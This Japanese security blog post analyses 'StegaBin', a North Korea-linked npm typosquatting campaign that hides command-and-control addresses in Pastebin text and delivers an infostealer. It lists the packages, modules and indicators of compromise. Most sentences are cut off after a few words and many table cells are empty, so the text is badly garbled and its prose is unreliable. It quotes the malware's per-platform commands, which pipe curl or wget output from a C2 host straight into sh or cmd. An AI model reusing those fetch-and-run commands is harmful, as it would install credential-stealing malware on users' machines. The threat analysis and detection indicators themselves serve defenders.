この記事の内容
実際に
StegaBinの 内幕:北朝鮮の ステガノグラフィー攻撃が 見出しを 飾った 経緯
202
この
確認できる
タイムライン
日付 | イベント |
|---|---|
202 | Pastebinの |
202 | 最初の |
202 | 最終バッチを |
202 | kmsec.ukが |
202 | The Hacker News、 |
202 | すべての |
202 | 26件すべての |
StegaBinが実際に行うこと
データが
パッケージ
202
パッケージ | 模倣対象 | 公開日時 |
|---|---|---|
| dayjs | 2月26日 10:35 UTC |
| cors | 2月26日 10:33 UTC |
| sequelize | 2月26日 10:16 UTC |
| express | 2月26日 10:05 UTC |
| lodash | 2月25日 22:31 UTC |
| fastify | 2月25日 22:07 UTC |
| vitest | 2月25日 22:21 UTC |
| prism | 2月25日 22:13 UTC |
| argon2 | 2月25日 21:51 UTC |
| bcrypt | 2月25日 21:46 UTC |
| ethers | 2月25日 19:38 UTC |
(26個すべての
すべてのvendor/scrypt-js/version.js(SHA256: da1775d0fbe99fbc35b6f0b4a3a3cb84da3ca1b2c1bbac0842317f6f804e30a4)にpackage.jsonにinstallスクリプトがnode ./scripts/test/install.jsを
ステガノグラフィーの手口
この
簡単に
デコーダーの
取得した
テキストから ゼロ幅Unicode文字を 削除 先頭から
5桁の 長さマーカーを 読み取る テキスト全体から
等間隔の 文字位置を 計算 各位置の
文字を 抽出 結果を
|||区切り文字で分割し、 ===END===で終了
3つの
Pastebin URL | 作成者 | 閲覧数 |
|---|---|---|
| davidsouza23 | 353 |
| Edgar04231 | 15 |
| Edgar04231 | 19 |
閲覧数が
プラットフォーム別のペイロード配信
デコードされたext-checkdin[.]vercel[.]app)をcleverstack-ext301、brightlaunch-app615、neuraldock-ext126のような
Vercelエンドポイントは、
# macOS
curl -s 'https://${c2Host}/api/m' | sh
# Drops ~/Library/tokenlinux.sh, executes via nohup
# Linux
wget -qO- 'https://${c2Host}/api/l' | sh
# Drops ~/.config/tokenlinux.npl, renames to .sh, executes via nohup
# Windows
curl -s https://${c2Host}/api/w | cmd
# Drops %APPDATA%\parse\token.cmd3つのspawn(shellPath, shellArgs, { stdio: 'ignore', detached: true }))。
9モジュール構成の情報窃取ツール
最終ペイロードは、
モジュール | 標的 | 手法 |
|---|---|---|
bro | ブラウザーの | Chrome、 |
j | 暗号資産ウォレット | 86個の |
vs | VS Code | 186個の |
clip | クリップボード/キーロガー | 500ミリ秒ごとに |
git | SSHキーと |
|
z | ファイルシステム | パターンに |
truffle | コード内の | 正規の |
n | リモートアクセス | 永続的な |
sched | 永続化 | 再 |
TruffleHogモジュールの
実際にインストールした人はいたのか?
26個すべての
Pastebinの
攻撃のexpressjs-lintが
繰り返されるパターン
Contagious Interviewキャンペーンは
攻撃のpackage-lock.jsonにもzoddleやdaytonjsは
悪意あるパッケージが本当に問題になるとき
インシデント対応が
202ngx-bootstrap、ng2-file-upload、@ctrl/tinycolor(実際のpostinstallフックを

Shai-Hulud NPM
正規パッケージが
セキュリティプログラムへの示唆
多くの
1. 依存関係
# Scan your project (includes malicious package advisories)
snyk test2. 依存関係をpackage-lock.json、yarn.lock)を
3. インシデント対応では、
4. 採用をnpm installを
npmの
IOC
検知チーム向けに、
ファイルハッシュ
# Main payload (vendor/scrypt-js/version.js) - identical across all 26 packages
da1775d0fbe99fbc35b6f0b4a3a3cb84da3ca1b2c1bbac0842317f6f804e30a4
# Platform-specific payloads
869c327b8dc757fa126cd281bc4a14d809c50e9a792954442c55cea5b46912ec # Linux
bce0da6547ae74f97e2bb61672a3e159b837acf01f7c68a813ea75c3835ff303 # macOS
e361d2859ba2eb2540bf6fb12db0b9857ef610bb9920830921e986d4b9109e89 # Windows
accf04ad3228a22532d2f5802a5b0c379c3616564c4766fc1f1ca20dac8dba07 # Decoy "Permanently suspended" page
# Additional package/component hashes
ddbb527be0f40cd13eab08e3e418e36e86e4f1f1458cf84cfee29490beacf3a6
ce80100a383730822221f3ce769ea5ccda0c583654cc7c119ecc50bfbb4203b9
714f890308d2cfebb2ed3ae873697408372639260bb682ea4cfbfffec98b8add
1b15f73054350c6ab42f6e1d2ce4d84d7c56821db699e4ec484541263dfcb636
ba3e520b9727e893cf07b0c1a6e6ce1a62e8e9bf28b5c771af4fdf01f9bd9ed4
78c8b9044f6029280d28a1f62a4414a22e870fc27e3cc4894bd077d17f2ad8b4
4e6a7bf3964fc0e3a655f062330c76b4876dcfac47d213e4c1f0ec3fe6ef9e12
978e8f161da04e00117a695aa59452dce89b5247db93ab7cedcaea3c1f26b8c8ネットワーク指標:
# C2 infrastructure
103.106.67[.]63:1244 # RAT command channel
103.106.67[.]63:1245 # Additional RAT port
103.106.67[.]63:1247 # WebSocket persistence
# Pastebin dead drops (steganographic C2 resolvers)
hxxps://pastebin[.]com/CJ5PrtNk
hxxps://pastebin[.]com/0ec7i68M
hxxps://pastebin[.]com/DjDCxcsT
# Primary Vercel C2
ext-checkdin[.]vercel[.]app
# Vercel fallback domains (30 additional)
cleverstack-ext301[.]vercel[.]app cleverstack-app998[.]vercel[.]app
brightlaunch-ext742[.]vercel[.]app brightlaunch-app615[.]vercel[.]app
primevector-ext483[.]vercel[.]app primevector-app920[.]vercel[.]app
zenithflow-ext156[.]vercel[.]app zenithflow-app877[.]vercel[.]app
cloudharbor-ext664[.]vercel[.]app cloudharbor-app239[.]vercel[.]app
sparkforge-ext518[.]vercel[.]app sparkforge-app790[.]vercel[.]app
logicfield-ext432[.]vercel[.]app logicfield-app681[.]vercel[.]app
atlasnode-ext957[.]vercel[.]app atlasnode-app204[.]vercel[.]app
signalbase-ext369[.]vercel[.]app signalbase-app845[.]vercel[.]app
neuraldock-ext126[.]vercel[.]app neuraldock-app734[.]vercel[.]app
orbitstack-ext592[.]vercel[.]app orbitstack-app318[.]vercel[.]app
fusionlayer-ext807[.]vercel[.]app fusionlayer-app463[.]vercel[.]app
quantapath-ext275[.]vercel[.]app quantapath-app914[.]vercel[.]app
visiondock-ext648[.]vercel[.]app visiondock-app157[.]vercel[.]app
openmatrix-ext539[.]vercel[.]app openmatrix-app882[.]vercel[.]appホスト指標:
~/Library/tokenlinux.sh(macOS)~/.config/tokenlinux.npl(Linux)%APPDATA%\parse\token.cmd(Windows)186個の
スペースで 空白埋めされた .vscode/tasks.jsonの変更 ( runOn: "folderOpen"トリガーによる VS Codeでの 永続化)
プロセスの
Node.jsが
curlまたはwgetを起動 Node.jsに
よる pastebin.comへのDNSルックアップ Vercelデプロイへの
curl/wgetユーザーエージェントのリクエスト 標準外の
パスから TruffleHogバイナリを 実行